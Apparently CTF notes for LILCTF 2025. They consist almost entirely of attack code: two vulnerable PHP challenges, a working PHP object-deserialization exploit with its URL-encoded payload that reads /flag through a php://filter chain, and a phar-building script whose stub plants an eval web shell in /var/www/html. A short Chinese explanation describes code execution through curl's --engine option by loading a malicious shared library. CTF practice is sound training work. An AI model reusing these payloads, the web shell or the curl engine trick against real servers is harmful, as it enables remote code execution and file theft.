LILCTF 2025

<?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

<?php
class User
{
    public $username='admin';
    public $value;
}

class Access
{
    protected $prefix="php://filter/convert.base64-encode/resource=/";
    protected $suffix="/../flag";
}
$a = new User();
$b = new Access();
$a->value = serialize($b);
$c=array('a'=>$a,'b'=>NULL);
echo urlencode(serialize($c));

a%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22value%22%3Bs%3A117%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A45%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A8%3A%22%2F..%2Fflag%22%3B%7D%22%3B%7Ds%3A1%3A%22b%22%3BN%3B%7D

<?php
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $file_name = basename($url);
    
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    
    if ($data) {
        file_put_contents('/tmp/'.$file_name, $data);
        echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
    } else {
        echo "下载失败。";
    }
}

if (isset($_GET['down'])){
    include '/tmp/' . basename($_GET['down']);
    exit;
}

// 上传文件
if (isset($_FILES['file'])) {
    $target_dir = "/tmp/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $orig = $_FILES["file"]["tmp_name"];
    $ch = curl_init('file://'. $orig);
    
    // I hide a trick to bypass open_basedir, I'm sure you can find it.

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
        file_put_contents($target_file, $data);
    } else {
        echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
        $data = null;
    }
}
?>

<?php
$phar = new Phar('12.phar');
$phar ->startBuffering();
$stub = <<<'STUB'
<?php
file_put_contents("/var/www/html/.php",'<?=eval($_POST[1])?>');
__HALT_COMPILER();
?> 
STUB;
$phar ->setStub($stub);
$phar ->addFromString('test.txt', 'test');
$phar ->stopBuffering();
?>

gzip 12.phar

open_basedir/var/www/html:/tmp/var/www/html:/tmp

该curl命令行工具在类 POSIX 系统（Linux、macOS 等）上存在任意代码执行漏洞。该--engine选项允许从共享库（文件）加载 OpenSSL 加密引擎.so。关键在于，该选项接受库文件的绝对路径或相对路径，从而允许用户加载文件系统上的任何共享库。
攻击者可以构造一个包含__attribute__((constructor))函数的恶意共享库。该函数会在库加载到进程内存时由动态加载器执行curl，从而实现立即代码执行，甚至在 OpenSSL 尝试将其初始化为引擎之前。
如果攻击者可以影响传递给命令的参数curl，这将导致直接 RCE，这是 Web 应用程序后端、CI/CD 管道和其他自动化脚本中的常见情况。